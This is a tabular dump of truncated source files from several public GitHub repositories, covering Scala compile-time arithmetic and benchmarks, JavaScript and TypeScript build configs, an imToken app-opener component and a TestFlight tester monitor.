| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
main.js | JavaScript | module.exports = ({ path, count, output, min, shortName }) => {
const fs = require("fs");
const input = JSON.parse(fs.readFileSync(path))
.traceEvents.sort((x1, x2) => x2.dur - x1.dur)
.slice(0, count)
.filter((a) => a.dur > min * 1000);
const grouped = Object.groupBy(input, (a) => a.tid);
const h... | xuwei-k/sbt-trace-action | 1 | JavaScript | xuwei-k | kenji yoshida | ||
src/test/scala/Test1.scala | Scala | package example
class Test1
| xuwei-k/sbt-trace-action | 1 | JavaScript | xuwei-k | kenji yoshida | ||
chudnovsky/src/main/scala/chudnovsky/Chudnovsky.scala | Scala | package chudnovsky
import compile_time.Rational
import compile_time.SInt
import compile_time.SRational
import compile_time.UInt
import java.math.MathContext
object Chudnovsky {
type _40 = UInt.FromInt[40]
type _100 = UInt.FromInt[100]
type _200 = UInt.FromInt[200]
type _426880 = UInt.FromInt[426880]
type _6... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Comparison.scala | Scala | package compile_time
sealed trait Comparison
final class GT extends Comparison
final class LT extends Comparison
final class EQ extends Comparison
object Comparison {
type Equal[A <: Comparison, B <: Comparison] <: Boolean =
A match {
case GT =>
B match {
case GT =>
true
... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Digit.scala | Scala | package compile_time
sealed trait Digit
object Digit {
sealed trait One extends Digit
sealed trait Zero extends Digit
type ToString[A] <: String = A match {
case Digit.One => "1"
case Digit.Zero => "0"
}
type Compare[A <: Digit, B <: Digit] <: Comparison = A match {
case Digit.One =>
B m... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Rational.scala | Scala | package compile_time
import scala.compiletime.ops.double
import scala.compiletime.ops.int
import scala.compiletime.ops.string
sealed trait Rational
object Rational {
final class Impl[A <: UInt, B <: UInt] extends Rational
type _1 = Impl[UInt._1, UInt._1]
type Inverse[A <: Rational] <: Rational =
A match ... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/SInt.scala | Scala | package compile_time
import scala.compiletime.ops.int
import scala.compiletime.ops.long
import scala.compiletime.ops.string
/**
* signed integer
*/
sealed trait SInt
object SInt {
final class Impl[A <: Sign, B <: UInt] extends SInt
type Zero = Impl[Sign.Zero, UInt._0]
type _0 = Zero
type _1 = Impl[Sign... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/SRational.scala | Scala | package compile_time
import scala.compiletime.ops.double
import scala.compiletime.ops.int
import scala.compiletime.ops.string
sealed trait SRational
object SRational {
sealed trait Impl[A <: SInt, B <: UInt] extends SRational
type _0 = Impl[SInt._0, UInt._1]
type Add[A <: SRational, B <: SRational] <: SRatio... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Sign.scala | Scala | package compile_time
sealed trait Sign
object Sign {
final class Pos extends Sign
final class Zero extends Sign
final class Neg extends Sign
type Compare[A <: Sign, B <: Sign] <: Comparison =
A match {
case Pos =>
B match {
case Pos =>
EQ
case _ =>
... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/UInt.scala | Scala | package compile_time
import compile_time.Digit.One
import compile_time.Digit.Zero
import scala.compiletime.ops.any
import scala.compiletime.ops.double
import scala.compiletime.ops.int
import scala.compiletime.ops.long
import scala.compiletime.ops.string
sealed trait UInt
final class DCons[D <: Digit, T <: UInt] exte... | xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
final case class Int3Tuple(x1: Int, x2: Int, x3: Int)
final case class Int2Tuple(x1: Int, x2: Int)
trait IntFunc[A] {
def apply(x: Int): A
}
object Main {
def mapInt[A](f: IntFunc[A]): Seq[A] = {
var i = 1
val size = 1000
var result = List... | xuwei-k/scala-tuple-boxing-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
A.scala | Scala | package example
@C(B.B1)
class A
| xuwei-k/scalameta-semanticdb-unsupported-value-class-java-enum | 0 | https://github.com/scalameta/scalameta/issues/4505 | Scala | xuwei-k | kenji yoshida | |
B.java | Java | package example;
public enum B {
B1
}
| xuwei-k/scalameta-semanticdb-unsupported-value-class-java-enum | 0 | https://github.com/scalameta/scalameta/issues/4505 | Scala | xuwei-k | kenji yoshida | |
C.java | Java | package example;
public @interface C {
B value();
}
| xuwei-k/scalameta-semanticdb-unsupported-value-class-java-enum | 0 | https://github.com/scalameta/scalameta/issues/4505 | Scala | xuwei-k | kenji yoshida | |
src/main/scala/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
import org.openjdk.jmh.annotations.Param
import org.openjdk.jmh.annotations.State
import org.openjdk.jmh.annotations.Scope
@State(Scope.Benchmark)
class Main {
@Param(Array("1", "10", "100", "1000"))
var size: Int = 0
def s: String = "abc"
@Bench... | xuwei-k/string-repeat-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
eslint.config.js | JavaScript | const typescriptParser = require('@typescript-eslint/parser')
module.exports = [
{
files: ['packages/**/**/*.ts', 'packages/**/**/*.tsx'],
languageOptions: {
parser: typescriptParser,
ecmaVersion: 2020,
sourceType: 'module',
globals: {
// Node.js globals
global: 'reado... | xwartz/cursor-api | 11 | TypeScript library for the Cursor API | TypeScript | xwartz | xwartz | |
release.js | JavaScript | const path = require('path')
const rootPkg = require('./package.json')
const fs = require('fs').promises
const packagesPath = path.join(__dirname, './packages')
const main = async () => {
const files = await fs.readdir(packagesPath)
await Promise.all(
files.map(async name => {
const pkgPath = path.join(p... | xwartz/eslint-config | 0 | This is personal eslint configuration. | JavaScript | xwartz | xwartz | |
exmple/index.html | HTML | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>demo</title>
<script src="../dist/index.umd.js"></script>
<script>
document.addEventListener('DOMContentLoad... | xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
rollup.config.ts | TypeScript | import resolve from 'rollup-plugin-node-resolve'
import commonjs from 'rollup-plugin-commonjs'
import sourceMaps from 'rollup-plugin-sourcemaps'
import typescript from 'rollup-plugin-typescript2'
import json from 'rollup-plugin-json'
const pkg = require('./package.json')
const libraryName = 'OpenApp'
export default ... | xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
src/index.ts | TypeScript | import { isimToken, isZh, isUnSupportScheme, isAndroid, openByIframe, openByLocation, isiOS, isChrome, openByTagA, isiPhoneX } from './utils'
interface Props {
schemeUrl?: string
fallbackUrl?: string
buttonStyle?: any
buttonText?: string
timeout?: number
}
const buttonStyle = {
position: 'fixed',
zIndex... | xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
src/utils.ts | TypeScript | export const isZh = () => {
return /zh/i.test(navigator.language)
}
export const isimToken = () => {
const imToken = (window as any).imToken
return imToken && imToken.version
}
export const isUnSupportScheme = () => {
const ua = navigator.userAgent
const isWechat = /micromessenger\/([\d.]+)/i.test(ua)
con... | xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
test/open-app.test.ts | TypeScript | import DummyClass from "../src/open-app"
/**
* Dummy test
*/
describe("Dummy test", () => {
it("works if true is truthy", () => {
expect(true).toBeTruthy()
})
it("DummyClass is instantiable", () => {
expect(new DummyClass()).toBeInstanceOf(DummyClass)
})
})
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
tools/gh-pages-publish.ts | TypeScript | const { cd, exec, echo, touch } = require("shelljs")
const { readFileSync } = require("fs")
const url = require("url")
let repoUrl
let pkg = JSON.parse(readFileSync("package.json") as any)
if (typeof pkg.repository === "object") {
if (!pkg.repository.hasOwnProperty("url")) {
throw new Error("URL does not exist i... | xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
tools/semantic-release-prepare.ts | TypeScript | const path = require("path")
const { fork } = require("child_process")
const colors = require("colors")
const { readFileSync, writeFileSync } = require("fs")
const pkg = JSON.parse(
readFileSync(path.resolve(__dirname, "..", "package.json"))
)
pkg.scripts.prepush = "npm run test:prod && npm run build"
pkg.scripts.c... | xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
ecosystem.config.js | JavaScript | module.exports = {
apps : [{
name: 'testflight-monitor',
script: './node_modules/.bin/ts-node',
args: '-P tsconfig.json ./src/index',
instances: 1,
autorestart: true,
watch: false,
max_memory_restart: '1G',
env: {
NODE_ENV: 'development'
},
env_production: {
NODE_EN... | xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz | |
src/config/index.ts | TypeScript | export default {
freq: 1000 * 60 * 0.5, // 0.5min
maxTesterNum: 8000,
removeTesterNum: 200,
}
| xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz | |
src/index.ts | TypeScript | import { v1 } from 'appstoreconnect'
import { readFileSync } from 'fs'
// appstore config
import appstoreConfig from './config/appstore'
import config from './config/index'
// slack config
import slackConfig from './config/slack'
import slack from './lib/slack'
import { asyncForEach, sleep } from './lib/utils'
const p... | xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz | |
src/lib/request.ts | TypeScript | import https from 'https'
interface Options {
readonly data: any
readonly headers: any
readonly hostname: string
readonly method: string
readonly path: string
readonly port: number
}
const request = (options: Options) => {
return new Promise((resolve, reject) => {
const req = https.request(options, ... | xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.